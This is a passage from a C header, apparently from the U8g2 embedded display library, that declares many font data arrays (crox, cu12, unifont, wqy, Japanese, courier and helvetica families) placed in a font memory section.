U8G2_FONT_SECTION(\"u8g2_font_crox3tb_tr\");\nextern const uint8_t u8g2_font_crox3tb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox3tb_tn\");\nextern const uint8_t u8g2_font_crox3t_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox3t_tf\");\nextern const uint8_t u8g2_font_crox3t_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox3t_tr\");\nextern const uint8_t u8g2_font_crox3t_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox3t_tn\");\nextern const uint8_t u8g2_font_crox4hb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox4hb_tf\");\nextern const uint8_t u8g2_font_crox4hb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox4hb_tr\");\nextern const uint8_t u8g2_font_crox4hb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox4hb_tn\");\nextern const uint8_t u8g2_font_crox4h_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox4h_tf\");\nextern const uint8_t u8g2_font_crox4h_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox4h_tr\");\nextern const uint8_t u8g2_font_crox4h_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox4h_tn\");\nextern const uint8_t u8g2_font_crox4tb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox4tb_tf\");\nextern const uint8_t u8g2_font_crox4tb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox4tb_tr\");\nextern const uint8_t u8g2_font_crox4tb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox4tb_tn\");\nextern const uint8_t u8g2_font_crox4t_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox4t_tf\");\nextern const uint8_t u8g2_font_crox4t_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox4t_tr\");\nextern const uint8_t u8g2_font_crox4t_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox4t_tn\");\nextern const uint8_t u8g2_font_crox5hb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox5hb_tf\");\nextern const uint8_t u8g2_font_crox5hb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox5hb_tr\");\nextern const uint8_t u8g2_font_crox5hb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox5hb_tn\");\nextern const uint8_t u8g2_font_crox5h_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox5h_tf\");\nextern const uint8_t u8g2_font_crox5h_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox5h_tr\");\nextern const uint8_t u8g2_font_crox5h_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox5h_tn\");\nextern const uint8_t u8g2_font_crox5tb_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox5tb_tf\");\nextern const uint8_t u8g2_font_crox5tb_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox5tb_tr\");\nextern const uint8_t u8g2_font_crox5tb_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox5tb_tn\");\nextern const uint8_t u8g2_font_crox5t_tf[] U8G2_FONT_SECTION(\"u8g2_font_crox5t_tf\");\nextern const uint8_t u8g2_font_crox5t_tr[] U8G2_FONT_SECTION(\"u8g2_font_crox5t_tr\");\nextern const uint8_t u8g2_font_crox5t_tn[] U8G2_FONT_SECTION(\"u8g2_font_crox5t_tn\");\nextern const uint8_t u8g2_font_cu12_tf[] U8G2_FONT_SECTION(\"u8g2_font_cu12_tf\");\nextern const uint8_t u8g2_font_cu12_tr[] U8G2_FONT_SECTION(\"u8g2_font_cu12_tr\");\nextern const uint8_t u8g2_font_cu12_tn[] U8G2_FONT_SECTION(\"u8g2_font_cu12_tn\");\nextern const uint8_t u8g2_font_cu12_te[] U8G2_FONT_SECTION(\"u8g2_font_cu12_te\");\nextern const uint8_t u8g2_font_cu12_hf[] U8G2_FONT_SECTION(\"u8g2_font_cu12_hf\");\nextern const uint8_t u8g2_font_cu12_hr[] U8G2_FONT_SECTION(\"u8g2_font_cu12_hr\");\nextern const uint8_t u8g2_font_cu12_hn[] U8G2_FONT_SECTION(\"u8g2_font_cu12_hn\");\nextern const uint8_t u8g2_font_cu12_he[] U8G2_FONT_SECTION(\"u8g2_font_cu12_he\");\nextern const uint8_t u8g2_font_cu12_mf[] U8G2_FONT_SECTION(\"u8g2_font_cu12_mf\");\nextern const uint8_t u8g2_font_cu12_mr[] U8G2_FONT_SECTION(\"u8g2_font_cu12_mr\");\nextern const uint8_t u8g2_font_cu12_mn[] U8G2_FONT_SECTION(\"u8g2_font_cu12_mn\");\nextern const uint8_t u8g2_font_cu12_me[] U8G2_FONT_SECTION(\"u8g2_font_cu12_me\");\nextern const uint8_t u8g2_font_cu12_t_symbols[] U8G2_FONT_SECTION(\"u8g2_font_cu12_t_symbols\");\nextern const uint8_t u8g2_font_cu12_h_symbols[] U8G2_FONT_SECTION(\"u8g2_font_cu12_h_symbols\");\nextern const uint8_t u8g2_font_cu12_t_greek[] U8G2_FONT_SECTION(\"u8g2_font_cu12_t_greek\");\nextern const uint8_t u8g2_font_cu12_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_cu12_t_cyrillic\");\nextern const uint8_t u8g2_font_cu12_t_tibetan[] U8G2_FONT_SECTION(\"u8g2_font_cu12_t_tibetan\");\nextern const uint8_t u8g2_font_cu12_t_hebrew[] U8G2_FONT_SECTION(\"u8g2_font_cu12_t_hebrew\");\nextern const uint8_t u8g2_font_cu12_t_arabic[] U8G2_FONT_SECTION(\"u8g2_font_cu12_t_arabic\");\nextern const uint8_t u8g2_font_unifont_tf[] U8G2_FONT_SECTION(\"u8g2_font_unifont_tf\");\nextern const uint8_t u8g2_font_unifont_tr[] U8G2_FONT_SECTION(\"u8g2_font_unifont_tr\");\nextern const uint8_t u8g2_font_unifont_te[] U8G2_FONT_SECTION(\"u8g2_font_unifont_te\");\nextern const uint8_t u8g2_font_unifont_t_latin[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_latin\");\nextern const uint8_t u8g2_font_unifont_t_extended[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_extended\");\nextern const uint8_t u8g2_font_unifont_t_72_73[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_72_73\");\nextern const uint8_t u8g2_font_unifont_t_0_72_73[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_0_72_73\");\nextern const uint8_t u8g2_font_unifont_t_75[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_75\");\nextern const uint8_t u8g2_font_unifont_t_0_75[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_0_75\");\nextern const uint8_t u8g2_font_unifont_t_76[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_76\");\nextern const uint8_t u8g2_font_unifont_t_0_76[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_0_76\");\nextern const uint8_t u8g2_font_unifont_t_77[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_77\");\nextern const uint8_t u8g2_font_unifont_t_0_77[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_0_77\");\nextern const uint8_t u8g2_font_unifont_t_78_79[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_78_79\");\nextern const uint8_t u8g2_font_unifont_t_0_78_79[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_0_78_79\");\nextern const uint8_t u8g2_font_unifont_t_86[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_86\");\nextern const uint8_t u8g2_font_unifont_t_0_86[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_0_86\");\nextern const uint8_t u8g2_font_unifont_t_greek[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_greek\");\nextern const uint8_t u8g2_font_unifont_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_cyrillic\");\nextern const uint8_t u8g2_font_unifont_t_hebrew[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_hebrew\");\nextern const uint8_t u8g2_font_unifont_t_bengali[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_bengali\");\nextern const uint8_t u8g2_font_unifont_t_tibetan[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_tibetan\");\nextern const uint8_t u8g2_font_unifont_t_urdu[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_urdu\");\nextern const uint8_t u8g2_font_unifont_t_polish[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_polish\");\nextern const uint8_t u8g2_font_unifont_t_devanagari[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_devanagari\");\nextern const uint8_t u8g2_font_unifont_t_arabic[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_arabic\");\nextern const uint8_t u8g2_font_unifont_t_symbols[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_symbols\");\nextern const uint8_t u8g2_font_unifont_h_symbols[] U8G2_FONT_SECTION(\"u8g2_font_unifont_h_symbols\");\nextern const uint8_t u8g2_font_unifont_t_emoticons[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_emoticons\");\nextern const uint8_t u8g2_font_unifont_t_animals[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_animals\");\nextern const uint8_t u8g2_font_unifont_t_domino[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_domino\");\nextern const uint8_t u8g2_font_unifont_t_cards[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_cards\");\nextern const uint8_t u8g2_font_unifont_t_weather[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_weather\");\nextern const uint8_t u8g2_font_unifont_t_chinese1[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_chinese1\");\nextern const uint8_t u8g2_font_unifont_t_chinese2[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_chinese2\");\nextern const uint8_t u8g2_font_unifont_t_chinese3[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_chinese3\");\nextern const uint8_t u8g2_font_unifont_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_japanese1\");\nextern const uint8_t u8g2_font_unifont_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_japanese2\");\nextern const uint8_t u8g2_font_unifont_t_japanese3[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_japanese3\");\nextern const uint8_t u8g2_font_unifont_t_korean1[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_korean1\");\nextern const uint8_t u8g2_font_unifont_t_korean2[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_korean2\");\nextern const uint8_t u8g2_font_unifont_t_vietnamese1[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_vietnamese1\");\nextern const uint8_t u8g2_font_unifont_t_vietnamese2[] U8G2_FONT_SECTION(\"u8g2_font_unifont_t_vietnamese2\");\nextern const uint8_t u8g2_font_gb16st_t_1[] U8G2_FONT_SECTION(\"u8g2_font_gb16st_t_1\");\nextern const uint8_t u8g2_font_gb16st_t_2[] U8G2_FONT_SECTION(\"u8g2_font_gb16st_t_2\");\nextern const uint8_t u8g2_font_gb16st_t_3[] U8G2_FONT_SECTION(\"u8g2_font_gb16st_t_3\");\nextern const uint8_t u8g2_font_gb24st_t_1[] U8G2_FONT_SECTION(\"u8g2_font_gb24st_t_1\");\nextern const uint8_t u8g2_font_gb24st_t_2[] U8G2_FONT_SECTION(\"u8g2_font_gb24st_t_2\");\nextern const uint8_t u8g2_font_gb24st_t_3[] U8G2_FONT_SECTION(\"u8g2_font_gb24st_t_3\");\nextern const uint8_t u8g2_font_wqy12_t_chinese1[] U8G2_FONT_SECTION(\"u8g2_font_wqy12_t_chinese1\");\nextern const uint8_t u8g2_font_wqy12_t_chinese2[] U8G2_FONT_SECTION(\"u8g2_font_wqy12_t_chinese2\");\nextern const uint8_t u8g2_font_wqy12_t_chinese3[] U8G2_FONT_SECTION(\"u8g2_font_wqy12_t_chinese3\");\nextern const uint8_t u8g2_font_wqy12_t_gb2312[] U8G2_FONT_SECTION(\"u8g2_font_wqy12_t_gb2312\");\nextern const uint8_t u8g2_font_wqy12_t_gb2312a[] U8G2_FONT_SECTION(\"u8g2_font_wqy12_t_gb2312a\");\nextern const uint8_t u8g2_font_wqy12_t_gb2312b[] U8G2_FONT_SECTION(\"u8g2_font_wqy12_t_gb2312b\");\nextern const uint8_t u8g2_font_wqy13_t_chinese1[] U8G2_FONT_SECTION(\"u8g2_font_wqy13_t_chinese1\");\nextern const uint8_t u8g2_font_wqy13_t_chinese2[] U8G2_FONT_SECTION(\"u8g2_font_wqy13_t_chinese2\");\nextern const uint8_t u8g2_font_wqy13_t_chinese3[] U8G2_FONT_SECTION(\"u8g2_font_wqy13_t_chinese3\");\nextern const uint8_t u8g2_font_wqy13_t_gb2312[] U8G2_FONT_SECTION(\"u8g2_font_wqy13_t_gb2312\");\nextern const uint8_t u8g2_font_wqy13_t_gb2312a[] U8G2_FONT_SECTION(\"u8g2_font_wqy13_t_gb2312a\");\nextern const uint8_t u8g2_font_wqy13_t_gb2312b[] U8G2_FONT_SECTION(\"u8g2_font_wqy13_t_gb2312b\");\nextern const uint8_t u8g2_font_wqy14_t_chinese1[] U8G2_FONT_SECTION(\"u8g2_font_wqy14_t_chinese1\");\nextern const uint8_t u8g2_font_wqy14_t_chinese2[] U8G2_FONT_SECTION(\"u8g2_font_wqy14_t_chinese2\");\nextern const uint8_t u8g2_font_wqy14_t_chinese3[] U8G2_FONT_SECTION(\"u8g2_font_wqy14_t_chinese3\");\nextern const uint8_t u8g2_font_wqy14_t_gb2312[] U8G2_FONT_SECTION(\"u8g2_font_wqy14_t_gb2312\");\nextern const uint8_t u8g2_font_wqy14_t_gb2312a[] U8G2_FONT_SECTION(\"u8g2_font_wqy14_t_gb2312a\");\nextern const uint8_t u8g2_font_wqy14_t_gb2312b[] U8G2_FONT_SECTION(\"u8g2_font_wqy14_t_gb2312b\");\nextern const uint8_t u8g2_font_wqy15_t_chinese1[] U8G2_FONT_SECTION(\"u8g2_font_wqy15_t_chinese1\");\nextern const uint8_t u8g2_font_wqy15_t_chinese2[] U8G2_FONT_SECTION(\"u8g2_font_wqy15_t_chinese2\");\nextern const uint8_t u8g2_font_wqy15_t_chinese3[] U8G2_FONT_SECTION(\"u8g2_font_wqy15_t_chinese3\");\nextern const uint8_t u8g2_font_wqy15_t_gb2312[] U8G2_FONT_SECTION(\"u8g2_font_wqy15_t_gb2312\");\nextern const uint8_t u8g2_font_wqy15_t_gb2312a[] U8G2_FONT_SECTION(\"u8g2_font_wqy15_t_gb2312a\");\nextern const uint8_t u8g2_font_wqy15_t_gb2312b[] U8G2_FONT_SECTION(\"u8g2_font_wqy15_t_gb2312b\");\nextern const uint8_t u8g2_font_wqy16_t_chinese1[] U8G2_FONT_SECTION(\"u8g2_font_wqy16_t_chinese1\");\nextern const uint8_t u8g2_font_wqy16_t_chinese2[] U8G2_FONT_SECTION(\"u8g2_font_wqy16_t_chinese2\");\nextern const uint8_t u8g2_font_wqy16_t_chinese3[] U8G2_FONT_SECTION(\"u8g2_font_wqy16_t_chinese3\");\nextern const uint8_t u8g2_font_wqy16_t_gb2312[] U8G2_FONT_SECTION(\"u8g2_font_wqy16_t_gb2312\");\nextern const uint8_t u8g2_font_wqy16_t_gb2312a[] U8G2_FONT_SECTION(\"u8g2_font_wqy16_t_gb2312a\");\nextern const uint8_t u8g2_font_wqy16_t_gb2312b[] U8G2_FONT_SECTION(\"u8g2_font_wqy16_t_gb2312b\");\nextern const uint8_t u8g2_font_b10_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_b10_t_japanese1\");\nextern const uint8_t u8g2_font_b10_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_b10_t_japanese2\");\nextern const uint8_t u8g2_font_b10_b_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_b10_b_t_japanese1\");\nextern const uint8_t u8g2_font_b10_b_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_b10_b_t_japanese2\");\nextern const uint8_t u8g2_font_f10_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_f10_t_japanese1\");\nextern const uint8_t u8g2_font_f10_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_f10_t_japanese2\");\nextern const uint8_t u8g2_font_f10_b_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_f10_b_t_japanese1\");\nextern const uint8_t u8g2_font_f10_b_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_f10_b_t_japanese2\");\nextern const uint8_t u8g2_font_b12_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_b12_t_japanese1\");\nextern const uint8_t u8g2_font_b12_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_b12_t_japanese2\");\nextern const uint8_t u8g2_font_b12_t_japanese3[] U8G2_FONT_SECTION(\"u8g2_font_b12_t_japanese3\");\nextern const uint8_t u8g2_font_b12_b_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_b12_b_t_japanese1\");\nextern const uint8_t u8g2_font_b12_b_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_b12_b_t_japanese2\");\nextern const uint8_t u8g2_font_b12_b_t_japanese3[] U8G2_FONT_SECTION(\"u8g2_font_b12_b_t_japanese3\");\nextern const uint8_t u8g2_font_f12_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_f12_t_japanese1\");\nextern const uint8_t u8g2_font_f12_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_f12_t_japanese2\");\nextern const uint8_t u8g2_font_f12_b_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_f12_b_t_japanese1\");\nextern const uint8_t u8g2_font_f12_b_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_f12_b_t_japanese2\");\nextern const uint8_t u8g2_font_b16_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_b16_t_japanese1\");\nextern const uint8_t u8g2_font_b16_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_b16_t_japanese2\");\nextern const uint8_t u8g2_font_b16_t_japanese3[] U8G2_FONT_SECTION(\"u8g2_font_b16_t_japanese3\");\nextern const uint8_t u8g2_font_b16_b_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_b16_b_t_japanese1\");\nextern const uint8_t u8g2_font_b16_b_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_b16_b_t_japanese2\");\nextern const uint8_t u8g2_font_b16_b_t_japanese3[] U8G2_FONT_SECTION(\"u8g2_font_b16_b_t_japanese3\");\nextern const uint8_t u8g2_font_f16_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_f16_t_japanese1\");\nextern const uint8_t u8g2_font_f16_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_f16_t_japanese2\");\nextern const uint8_t u8g2_font_f16_b_t_japanese1[] U8G2_FONT_SECTION(\"u8g2_font_f16_b_t_japanese1\");\nextern const uint8_t u8g2_font_f16_b_t_japanese2[] U8G2_FONT_SECTION(\"u8g2_font_f16_b_t_japanese2\");\nextern const uint8_t u8g2_font_artossans8_8r[] U8G2_FONT_SECTION(\"u8g2_font_artossans8_8r\");\nextern const uint8_t u8g2_font_artossans8_8n[] U8G2_FONT_SECTION(\"u8g2_font_artossans8_8n\");\nextern const uint8_t u8g2_font_artossans8_8u[] U8G2_FONT_SECTION(\"u8g2_font_artossans8_8u\");\nextern const uint8_t u8g2_font_artosserif8_8r[] U8G2_FONT_SECTION(\"u8g2_font_artosserif8_8r\");\nextern const uint8_t u8g2_font_artosserif8_8n[] U8G2_FONT_SECTION(\"u8g2_font_artosserif8_8n\");\nextern const uint8_t u8g2_font_artosserif8_8u[] U8G2_FONT_SECTION(\"u8g2_font_artosserif8_8u\");\nextern const uint8_t u8g2_font_chroma48medium8_8r[] U8G2_FONT_SECTION(\"u8g2_font_chroma48medium8_8r\");\nextern const uint8_t u8g2_font_chroma48medium8_8n[] U8G2_FONT_SECTION(\"u8g2_font_chroma48medium8_8n\");\nextern const uint8_t u8g2_font_chroma48medium8_8u[] U8G2_FONT_SECTION(\"u8g2_font_chroma48medium8_8u\");\nextern const uint8_t u8g2_font_saikyosansbold8_8n[] U8G2_FONT_SECTION(\"u8g2_font_saikyosansbold8_8n\");\nextern const uint8_t u8g2_font_saikyosansbold8_8u[] U8G2_FONT_SECTION(\"u8g2_font_saikyosansbold8_8u\");\nextern const uint8_t u8g2_font_torussansbold8_8r[] U8G2_FONT_SECTION(\"u8g2_font_torussansbold8_8r\");\nextern const uint8_t u8g2_font_torussansbold8_8n[] U8G2_FONT_SECTION(\"u8g2_font_torussansbold8_8n\");\nextern const uint8_t u8g2_font_torussansbold8_8u[] U8G2_FONT_SECTION(\"u8g2_font_torussansbold8_8u\");\nextern const uint8_t u8g2_font_victoriabold8_8r[] U8G2_FONT_SECTION(\"u8g2_font_victoriabold8_8r\");\nextern const uint8_t u8g2_font_victoriabold8_8n[] U8G2_FONT_SECTION(\"u8g2_font_victoriabold8_8n\");\nextern const uint8_t u8g2_font_victoriabold8_8u[] U8G2_FONT_SECTION(\"u8g2_font_victoriabold8_8u\");\nextern const uint8_t u8g2_font_victoriamedium8_8r[] U8G2_FONT_SECTION(\"u8g2_font_victoriamedium8_8r\");\nextern const uint8_t u8g2_font_victoriamedium8_8n[] U8G2_FONT_SECTION(\"u8g2_font_victoriamedium8_8n\");\nextern const uint8_t u8g2_font_victoriamedium8_8u[] U8G2_FONT_SECTION(\"u8g2_font_victoriamedium8_8u\");\nextern const uint8_t u8g2_font_courB08_tf[] U8G2_FONT_SECTION(\"u8g2_font_courB08_tf\");\nextern const uint8_t u8g2_font_courB08_tr[] U8G2_FONT_SECTION(\"u8g2_font_courB08_tr\");\nextern const uint8_t u8g2_font_courB08_tn[] U8G2_FONT_SECTION(\"u8g2_font_courB08_tn\");\nextern const uint8_t u8g2_font_courB10_tf[] U8G2_FONT_SECTION(\"u8g2_font_courB10_tf\");\nextern const uint8_t u8g2_font_courB10_tr[] U8G2_FONT_SECTION(\"u8g2_font_courB10_tr\");\nextern const uint8_t u8g2_font_courB10_tn[] U8G2_FONT_SECTION(\"u8g2_font_courB10_tn\");\nextern const uint8_t u8g2_font_courB12_tf[] U8G2_FONT_SECTION(\"u8g2_font_courB12_tf\");\nextern const uint8_t u8g2_font_courB12_tr[] U8G2_FONT_SECTION(\"u8g2_font_courB12_tr\");\nextern const uint8_t u8g2_font_courB12_tn[] U8G2_FONT_SECTION(\"u8g2_font_courB12_tn\");\nextern const uint8_t u8g2_font_courB14_tf[] U8G2_FONT_SECTION(\"u8g2_font_courB14_tf\");\nextern const uint8_t u8g2_font_courB14_tr[] U8G2_FONT_SECTION(\"u8g2_font_courB14_tr\");\nextern const uint8_t u8g2_font_courB14_tn[] U8G2_FONT_SECTION(\"u8g2_font_courB14_tn\");\nextern const uint8_t u8g2_font_courB18_tf[] U8G2_FONT_SECTION(\"u8g2_font_courB18_tf\");\nextern const uint8_t u8g2_font_courB18_tr[] U8G2_FONT_SECTION(\"u8g2_font_courB18_tr\");\nextern const uint8_t u8g2_font_courB18_tn[] U8G2_FONT_SECTION(\"u8g2_font_courB18_tn\");\nextern const uint8_t u8g2_font_courB24_tf[] U8G2_FONT_SECTION(\"u8g2_font_courB24_tf\");\nextern const uint8_t u8g2_font_courB24_tr[] U8G2_FONT_SECTION(\"u8g2_font_courB24_tr\");\nextern const uint8_t u8g2_font_courB24_tn[] U8G2_FONT_SECTION(\"u8g2_font_courB24_tn\");\nextern const uint8_t u8g2_font_courR08_tf[] U8G2_FONT_SECTION(\"u8g2_font_courR08_tf\");\nextern const uint8_t u8g2_font_courR08_tr[] U8G2_FONT_SECTION(\"u8g2_font_courR08_tr\");\nextern const uint8_t u8g2_font_courR08_tn[] U8G2_FONT_SECTION(\"u8g2_font_courR08_tn\");\nextern const uint8_t u8g2_font_courR10_tf[] U8G2_FONT_SECTION(\"u8g2_font_courR10_tf\");\nextern const uint8_t u8g2_font_courR10_tr[] U8G2_FONT_SECTION(\"u8g2_font_courR10_tr\");\nextern const uint8_t u8g2_font_courR10_tn[] U8G2_FONT_SECTION(\"u8g2_font_courR10_tn\");\nextern const uint8_t u8g2_font_courR12_tf[] U8G2_FONT_SECTION(\"u8g2_font_courR12_tf\");\nextern const uint8_t u8g2_font_courR12_tr[] U8G2_FONT_SECTION(\"u8g2_font_courR12_tr\");\nextern const uint8_t u8g2_font_courR12_tn[] U8G2_FONT_SECTION(\"u8g2_font_courR12_tn\");\nextern const uint8_t u8g2_font_courR14_tf[] U8G2_FONT_SECTION(\"u8g2_font_courR14_tf\");\nextern const uint8_t u8g2_font_courR14_tr[] U8G2_FONT_SECTION(\"u8g2_font_courR14_tr\");\nextern const uint8_t u8g2_font_courR14_tn[] U8G2_FONT_SECTION(\"u8g2_font_courR14_tn\");\nextern const uint8_t u8g2_font_courR18_tf[] U8G2_FONT_SECTION(\"u8g2_font_courR18_tf\");\nextern const uint8_t u8g2_font_courR18_tr[] U8G2_FONT_SECTION(\"u8g2_font_courR18_tr\");\nextern const uint8_t u8g2_font_courR18_tn[] U8G2_FONT_SECTION(\"u8g2_font_courR18_tn\");\nextern const uint8_t u8g2_font_courR24_tf[] U8G2_FONT_SECTION(\"u8g2_font_courR24_tf\");\nextern const uint8_t u8g2_font_courR24_tr[] U8G2_FONT_SECTION(\"u8g2_font_courR24_tr\");\nextern const uint8_t u8g2_font_courR24_tn[] U8G2_FONT_SECTION(\"u8g2_font_courR24_tn\");\nextern const uint8_t u8g2_font_helvB08_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvB08_tf\");\nextern const uint8_t u8g2_font_helvB08_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvB08_tr\");\nextern const uint8_t u8g2_font_helvB08_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvB08_tn\");\nextern const uint8_t u8g2_font_helvB08_te[] U8G2_FONT_SECTION(\"u8g2_font_helvB08_te\");\nextern const uint8_t u8g2_font_helvB10_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvB10_tf\");\nextern const uint8_t u8g2_font_helvB10_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvB10_tr\");\nextern const uint8_t u8g2_font_helvB10_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvB10_tn\");\nextern const uint8_t u8g2_font_helvB10_te[] U8G2_FONT_SECTION(\"u8g2_font_helvB10_te\");\nextern const uint8_t u8g2_font_helvB12_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvB12_tf\");\nextern const uint8_t u8g2_font_helvB12_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvB12_tr\");\nextern const uint8_t u8g2_font_helvB12_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvB12_tn\");\nextern const uint8_t u8g2_font_helvB12_te[] U8G2_FONT_SECTION(\"u8g2_font_helvB12_te\");\nextern const uint8_t u8g2_font_helvB14_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvB14_tf\");\nextern const uint8_t u8g2_font_helvB14_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvB14_tr\");\nextern const uint8_t u8g2_font_helvB14_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvB14_tn\");\nextern const uint8_t u8g2_font_helvB14_te[] U8G2_FONT_SECTION(\"u8g2_font_helvB14_te\");\nextern const uint8_t u8g2_font_helvB18_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvB18_tf\");\nextern const uint8_t u8g2_font_helvB18_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvB18_tr\");\nextern const uint8_t u8g2_font_helvB18_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvB18_tn\");\nextern const uint8_t u8g2_font_helvB18_te[] U8G2_FONT_SECTION(\"u8g2_font_helvB18_te\");\nextern const uint8_t u8g2_font_helvB24_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvB24_tf\");\nextern const uint8_t u8g2_font_helvB24_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvB24_tr\");\nextern const uint8_t u8g2_font_helvB24_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvB24_tn\");\nextern const uint8_t u8g2_font_helvB24_te[] U8G2_FONT_SECTION(\"u8g2_font_helvB24_te\");\nextern const uint8_t u8g2_font_helvR08_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvR08_tf\");\nextern const uint8_t u8g2_font_helvR08_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvR08_tr\");\nextern const uint8_t u8g2_font_helvR08_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvR08_tn\");\nextern const uint8_t u8g2_font_helvR08_te[] U8G2_FONT_SECTION(\"u8g2_font_helvR08_te\");\nextern const uint8_t u8g2_font_helvR10_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvR10_tf\");\nextern const uint8_t u8g2_font_helvR10_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvR10_tr\");\nextern const uint8_t u8g2_font_helvR10_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvR10_tn\");\nextern const uint8_t u8g2_font_helvR10_te[] U8G2_FONT_SECTION(\"u8g2_font_helvR10_te\");\nextern const uint8_t u8g2_font_helvR12_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvR12_tf\");\nextern const uint8_t u8g2_font_helvR12_tr[] U8G2_FONT_SECTION(\"u8g2_font_helvR12_tr\");\nextern const uint8_t u8g2_font_helvR12_tn[] U8G2_FONT_SECTION(\"u8g2_font_helvR12_tn\");\nextern const uint8_t u8g2_font_helvR12_te[] U8G2_FONT_SECTION(\"u8g2_font_helvR12_te\");\nextern const uint8_t u8g2_font_helvR14_tf[] U8G2_FONT_SECTION(\"u8g2_font_helvR14_tf\");\nextern const uint8_t 